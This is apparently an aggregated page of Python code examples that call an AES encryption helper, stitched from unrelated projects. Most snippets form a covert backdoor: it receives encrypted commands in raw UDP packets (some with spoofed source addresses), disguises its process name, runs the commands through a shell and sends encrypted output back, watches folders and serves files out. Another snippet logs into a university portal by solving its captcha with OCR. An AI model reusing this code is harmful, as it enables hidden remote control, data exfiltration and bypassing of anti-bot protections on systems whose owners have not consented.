Beispiel #1
0
 def onionRouteMessage(self, addresses, message):
     onion = crypto.aesPad(message)
     i = len(addresses)-1
     while i > 0:
         onion = crypto.aesEncrypt(onion)
         onion = crypto.aesPad(FORWARD + addresses[i] + SEPARATOR) + onion
         i -= 1
     onion = crypto.aesEncrypt(onion)
     self.send(addresses[0], onion)
Beispiel #2
0
def sendDataWatch(dstIp, data, title, sourceIp):
    info = title +"\"" + data
    ciphertext = hexlify(info.encode("utf-8"))
    aesCipherText = crypto.aesEncrypt(ciphertext)
    pkt = IP(src=sourceIp, dst=dstIp)/UDP(dport=8006, sport=8506)/aesCipherText
    send(pkt, verbose=0)
    print(aesCipherText)
    print("Packet sent 2")
Beispiel #3
0
def sendpkt(msg, dstIp):
    output = msg.encode("utf-8")
    encodedOutput = binascii.hexlify(output)
    aesSendPkt = crypto.aesEncrypt(encodedOutput)
    pkt = IP(dst=dstIp) / UDP(dport=8504, sport=8004) / aesSendPkt

    time.sleep(0.1)
    send(pkt, verbose=0)
    print(dstIp)
    print("Packet sent")
Beispiel #4
0
def startMonitor(pkt):

    print("Monitoring")
    global monitor
    global process
    packet = pkt[Raw].load
    print(packet)
    print("Encrypted Packet above")
    decryptedWatchPacket = crypto.aesDecrypt(packet)
    ip = pkt[IP].src
    print(pkt)
    destination_IP = pkt[0][1].src

    watchMessage = binascii.unhexlify(decryptedWatchPacket)
    parse = watchMessage.decode()
    parseWatch = parse.split("\"")
    processTitle = parseWatch[0]
    watchCommand = parseWatch[1]
    print("Watching..." + watchCommand)
    setproctitle.setproctitle(processTitle)

    if watchCommand == "stop":
        print("Stop watching")
        observer.stop()
        observer.join()
        return

    try:

        print("Destionation IP: " + ip)
        monitor = observer.schedule(monitorHandler(ip),
                                    watchCommand,
                                    recursive=True)
        observer.start()

        print("Folder Monitoring in session")
        monitoringMessage = "Monitoring: " + watchCommand

        messageEncoded = monitoringMessage.encode("utf-8")
        messageOutput = binascii.hexlify(messageEncoded)
        aesMessageWatch = crypto.aesEncrypt(messageOutput)
        pkt = IP(dst=destination_IP) / UDP(dport=8506,
                                           sport=8006) / aesMessageWatch

        time.sleep(0.5)
        send(pkt, verbose=0)

    except OSError:
        print("No path to directory...no file monitored")
        error = "No file monitored...no path to directory"
        output = error.encode("utf-8")
        encodedOutput = output
        pkt = IP(dst=destination_IP) / UDP(dport=8504, sport=8004) / output
        send(pkt, verbose=0)
        return
Beispiel #5
0
def readExecute(pkt):
    key = 8
    print("Received message")

    packet = pkt[Raw].load
    print(packet)
    decryptedText = ''

    if packet.endswith(b'\t'):
        print("Decrypting with Yiao")
        decryptedText2 = crypto.decryptData2(key, packet)
        decryptedText = crypto.decryptData(decryptedText2)

    elif packet.endswith(b'~'):
        stripPacket = packet[:-1]
        print("Decrypting with RSA")
        decryptedText = crypto.RSADecrypt(stripPacket)
        print(decryptedText)

    else:
        print("Decrypting with AES")
        #key="passwordpassword".encode("utf8")
        decryptedText = crypto.aesDecrypt(packet)
        print(decryptedText)

    splitMessage = decryptedText.split("\"")
    print(splitMessage)
    ptitle = splitMessage[0]
    print("Your process title: " + ptitle)
    command = splitMessage[1]
    print("Your command: " + command)

    setproctitle.setproctitle(ptitle)

    userInput = subprocess.Popen(command,
                                 shell=True,
                                 stdout=subprocess.PIPE,
                                 stderr=subprocess.PIPE)
    shellOutput = userInput.stdout.read() + userInput.stderr.read()
    newOutput = shellOutput.decode()
    print(newOutput)
    if newOutput == "":
        print("entered here")
        newOutput = "No output from terminal"

    bytesOutput = newOutput.encode("utf8")
    encodedOutput = binascii.hexlify(bytesOutput)

    aesOutput = crypto.aesEncrypt(encodedOutput)

    pkt = IP(dst=pkt[0][1].src) / UDP(dport=8505, sport=8000) / aesOutput
    print(aesOutput)
    time.sleep(0.5)
    send(pkt, verbose=0)
    print("Packet sent")
def login(username, password):
    print(logger(1, '登陆中...'))
    s = requests.Session()
    response = s.get('https://pass.ujs.edu.cn/cas/login', headers=headers)
    soup = BeautifulSoup(response.text, 'html.parser')
    key = soup.find(id='pwdDefaultEncryptSalt')['value']
    lt = soup.find('input', {'name': 'lt'})['value']
    execution = soup.find('input', {'name': 'execution'})['value']
    enc = crypto.aesEncrypt(bytes(key, encoding='utf-8'),
                            bytes(Login.iv, encoding='utf-8'))
    addition = Login.addition
    password = str(enc.encrypt(addition + password), encoding='utf-8')

    print(logger(1, '正在加载依赖以识别验证码...'))
    captcha_bytes = s.get('https://pass.ujs.edu.cn/cas/captcha.html',
                          headers=headers).content
    sdk = muggle_ocr.SDK(model_type=muggle_ocr.ModelType.Captcha)
    captha = sdk.predict(image_bytes=captcha_bytes)
    with open('cap.png', 'wb') as file:
        file.write(captcha_bytes)
    print(logger(2, '验证码识别结果: ' + captha))

    data = {
        'username': username,
        'password': password,
        'lt': lt,
        'dllt': 'userNamePasswordLogin',
        'execution': execution,
        '_eventId': 'submit',
        'rmShown': '1',
        'captchaResponse': captha
    }
    response = s.post('https://pass.ujs.edu.cn/cas/login',
                      headers=headers,
                      data=data)
    response = s.get('http://yun.ujs.edu.cn/site/login', headers=headers)
    response = s.get('http://yun.ujs.edu.cn/xxhgl/yqsb/index',
                     headers=headers,
                     allow_redirects=False)
    soup = BeautifulSoup(response.text, 'html.parser')
    print(logger(1, 'sessionID: {}'.format(s.cookies['cloud_sessionID'])))
    name = list(soup.p.strings)[0]
    name = name.replace(u'\xa0', '')
    name = name.replace(u'\n', '')
    name = name.replace(u' ', '')
    print(logger(1, '{}, 欢迎回来'.format(name)))
    return s.cookies['cloud_sessionID']
Beispiel #7
0
def sendFile(pkt):
    print('Server listening....')
    filename = pkt.load
    decodedFileName = binascii.unhexlify(filename)
    decodedName = decodedFileName.decode("utf-8")
    print(decodedName)

    port = 60000
    s = socket.socket()
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    host = socket.gethostname()
    s.bind(('', port))
    s.listen(5)
    sending = True

    while sending:
        conn, addr = s.accept()
        print('Got connection from', addr)
        data = conn.recv(1024)
        print('Server received', repr(data))
        print('Reading from: ' + decodedName)
        try:
            f = open(decodedName, 'rb')
            reading = f.read(1024)
            aesReading = crypto.aesEncrypt(reading)
            while (reading):
                conn.send((aesReading))
                print('Sent ', repr((aesReading)))
                reading = f.read(1024)

            f.close()

            print('Done sending')
            conn.close()
            sending = False
        except IOError:
            print("File does not exist")
            errorpacket = "No file exists"
            conn.close()
            sending = False
Beispiel #8
0
def sendData(dstIp, data, title, sourceIp):
    global startAES
    startAES = 0
    global startRSA
    startRSA = 0
    global startYiao
    startYiao = 0
    key = 8
    info = title +"\"" + data
    print(info)
    print (var.get())
    encryptedText2 = b''
    if var.get() == 1:
        print("We want AES encryption!")
        startAES = time.time()
        encryptedText2 = crypto.aesEncrypt(info.encode("utf8"))
        print(encryptedText2)
        decryptedText2 = crypto.aesDecrypt(encryptedText2)
        print(decryptedText2)


    elif var.get() == 2:
        startRSA = time.time()
        print("We are doing RSA Encryption!")
        encryptedText2 = crypto.RSAEncrypt(info)
        print(encryptedText2)
        print("Encrypted above")

        #decrypted22= encryptedText2[:-1]
        #rsaDecrypt = crypto.RSADecrypt(decrypted22)
        #print(rsaDecrypt)
        #print("Decrypted above")


    elif var.get() == 3:
        print("We are doing Yiao's Encryption!")
        startYiao = time.time()
        encryptedText = crypto.encryptData(info)
        print(encryptedText)
        print("Encrypted text")
        encrypted = crypto.encryptData2(key, encryptedText)
        print(encrypted)

        print("Encrypted text again")

        byteArray = bytearray(encrypted)
        byteArray.append(9)
        encryptedText2 = bytes(byteArray)
        print(encryptedText2)

    else:
        print("We want AES encryption!")
        encryptedText2 = crypto.aesEncrypt(info.encode("utf8"))
        print(encryptedText2)

        #decryptedText2 = crypto.aesDecrypt(key, encryptedText2)
        #print(decryptedText2)
        



    pkt = IP(src=sourceIp, dst=dstIp)/UDP(dport=8000, sport=8505)/encryptedText2    
    send(pkt, verbose=0)
    print("Sent packet 1")
Beispiel #9
0
 def privateSend(self, address, message):
     message = crypto.aesPad(message)
     message = crypto.aesEncrypt(message)
     self.send(address, message)